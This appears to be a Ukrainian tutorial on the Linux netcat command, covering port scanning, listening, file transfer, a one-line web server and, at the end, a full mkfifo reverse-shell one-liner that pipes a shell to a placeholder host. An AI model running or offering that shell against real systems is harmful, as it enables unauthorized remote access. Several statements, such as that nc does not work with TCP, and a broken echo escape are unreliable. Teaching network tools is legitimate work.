Способи оплати Abuse

Для чого команда NC у Linux

29.08.2024, 02:19

Команда netcat необхідна для передавання та отримання даних протоколами TCP і UDP. Вона не вирізняється великим набором функцій, але при цьому її достатньо для перевірки з'єднання і нескладного налагодження. Як спілкуватися за допомогою протоколу TCP? Цим питанням задаються багато користувачів. У цій статті відповімо на це питання, а також покажемо приклади реального застосування команди.

Що дає команда?

Команда netcat (або nc) - це потужний інструмент для роботи з мережевими з'єднаннями. Вона часто використовується системними адміністраторами та розробниками для різних завдань. Ось основні функції та можливості netcat:

  1. Створення TCP/UDP з'єднань: дає змогу встановлювати з'єднання з віддаленими хостами за протоколами TCP і UDP.
  2. Прослуховування портів: може використовуватися як сервер для прослуховування вхідних з'єднань на певному порту.
  3. Передача даних: передавати дані між комп'ютерами через мережу. Це може бути корисно для передачі файлів або обміну повідомленнями.
  4. Налагодження мережевих додатків: використовується для тестування і налагодження мережевих сервісів, даючи змогу надсилати й отримувати довільні дані.
  5. Створення простих чатів: можна налаштувати просте текстове листування між двома системами
  6. Сканування портів: може використовуватися для перевірки відкритих портів на віддалених хостах
  7. Тунелювання: дає змогу створювати тунелі для перенаправлення трафіку через інші порти або хости
  8. Робота з проксі: може використовуватися для роботи з проксі-серверами і виконання різних мережевих завдань.

netcat є універсальним інструментом, який може бути використаний у найрізноманітніших сценаріях, від простого обміну повідомленнями до складних мережевих операцій.

Опції

Для початку розглянемо синтаксис і найбільш затребувані:

  • -6 - використовувати протокол IPv6. За замовчуванням використовується параметр -4 і IPv4 відповідно;
  • -h - вивести довідку зі списком доступних параметрів;
  • -i - затримка - додати затримку між надсиланням рядків або скануванням портів. Задається в секундах;
  • -l - режим прослуховування. Використовується із зазначенням порту;
  • -N - закрити з'єднання при досягненні кінця файлу під час його надсилання;
  • -n - Працювати з IP-адресами безпосередньо, не задіюючи DNS, також відключити пошук портів;
  • -P - user_name - вказати ім'я користувача для підключення до проксі;
  • -x - address:port - вказати адресу і порт для підключення до проксі;
  • -p - port - вказати номер порту. У більшості випадків порт зчитується без зазначення параметра;
  • -U - використовувати сокет домену UNIX (для міжпроцесної взаємодії);
  • -u - використовувати протокол UDP, за замовчуванням використовується ТСР;
  • -v - детальний режим. Використовується під час сканування;
  • -W кількість_пакетів - закрити з'єднання після отримання певної кількості пакетів;
  • -w таймер - увімкнути таймер для обмеження часу з'єднання. Задається в секундах;
  • -z - вимкнути надсилання даних. Використовується під час сканування.

Команда має такий вигляд (параметри адреса, порт):

$ nc

Далі розповімо про способи застосування команди.

Перевіряємо порт

Перевірка - головне застосування netcat. Слід використовувати два параметри -vz, вказати адресу і порт. Ви можете вказати діапазон адрес, але в цьому випадку краще відсіяти тільки відкриті порти за допомогою команди grep. Перевіримо порти адреси локальної мережі:

$ nc -vz 192.168.31.247 8080
$ nc -vz 192.168.31.247 1-1000 2>&1 | grep succeeded

Таким же способом проскануємо порти UDP, додавши параметр -u:

$ nc -vzu 192.168.31.247 1-1000 2>&1 | grep succeeded

При цьому потрібно знати головну відмінність TCP і UDP. Так в UDP порти завжди доступні.

Прослуховуємо порт

Для прослуховування порту призначений параметр -l. Його найчастіше достатньо, але можете ввімкнути детальний режим:

$ nc -nlv 8080

Пам'ятайте, що під час використання протоколу ТСР порт має бути вільний, інакше з'явиться помилка Already in use. При цьому не всі порти можуть використовувати звичайні користувачі, наприклад, 80 порт (HTTP), найімовірніше, він буде зайнятий іншим процесом, і до того ж вимагатиме прав суперкористувача.

Обмін файлами

Корисна здатність команди - обмін даними. Простий приклад - текстовий чат. Для того, щоб запустити чат на одному комп'ютері, запускаємо утиліту в режимі прослуховування порту:

$ nc -lp 8080

На іншому комп'ютері потрібно вказати адресу першого комп'ютера і той самий порт. Також не забудьте перевірити, що порт відкритий:

$ nc 0.0.0.0 8080

У такий спосіб вдасться відправляти й отримувати повідомлення. Тобто, команда призначена для обміну файлами. Принцип такий самий, за тим винятком, що необхідно переспрямувати виведення у файл, а саме в paste.txt:

$ nc -l 8080 > paste.txt

На іншому ПК введенням слугуватиме файл copy.txt. Не зайвим буде використовувати параметр -N, щоб після передачі файлу закрити з'єднання:

$ nc -N 0.0.0.0 8080 < copy.txt

Для передачі файлів важливо дотримати послідовність, спочатку відкрити прослуховування і лише потім відправляти файл. Команда nc - робочий, але далеко не найкращий спосіб передачі файлів. Є для вирішення цього завдання більш ефективні та корисні інструменти.

Простий веб-сервер

Оскільки команда NC не функціонує з протоколом ТСР, вона дозволяє і відправляти, і отримувати запити HTTP. Отже, утиліта може стати найпростішим веб-сервером. Так, нічого хитрішого за сторінку-заглушку в такий спосіб не можна зробити, але операція практично не відніме часу, а ще плюс у тому, що не потрібно нічого додатково інсталювати.

На прикладі сформуємо відповідь HTTP з файлом index.html. Якщо ж говорити про саму np, то не зайвим буде встановити таймер параметром -w 1, щоб розірвати з'єднання, якщо цього не зробить браузер:

$ while true; do echo -e "HTTP/1.1 200 OKnn$(cat index.html)" | nc -l -w 1 -p 8080; done

Щоб отримати дані з веб-сайту, ви можете сформувати запит і надіслати його на відповідну адресу і порт. Але такий спосіб досить складний, краще використовувати відповідну CURL команду.

Віддалена оболонка

Виходячи з розглянутих вище прикладів, не важко буде дійти висновку, що команда дозволяє організувати віддалений доступ до оболонки комп'ютера. Раніше утиліта NC мала кілька параметрів для відкриття доступу до терміналу. Параметр -e вже давно прибрали з утиліти, тому простого доступу до терміналу вже не буде. Безпека самого додатка стала вищою, але він, як і раніше, може працювати у зв'язці з іншими.

Покажемо підключення за допомогою іменованого каналу mkfifo. Насамперед запустимо прослуховування порту на тому ПК, на якому будемо отримувати доступ:

$ nc -lvnp 8080

Перейдемо безпосередньо до команди для відкриття терміналу. Спочатку видалимо старий іменований канал(rm /tmp/f), на його місці створимо новий(mkfifo /tmp/f), прочитаємо його вміст(cat /tmp/f), а на його виведення відправимо команду оболонки(sh -i 2>&1). Після цього залишиться запустити nc із виведенням у наш іменований канал(nc 0.0.0.0 8080 >/tmp/f):

$ rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>&1|nc 0.0.0.0 8080 >/tmp/f

Слід враховувати, що це один зі способів злому, однак, він може бути корисним у разі появи проблем із ssh. Для того, щоб запобігти атаці налаштовуйте політику безпеки та міжмережевий екран.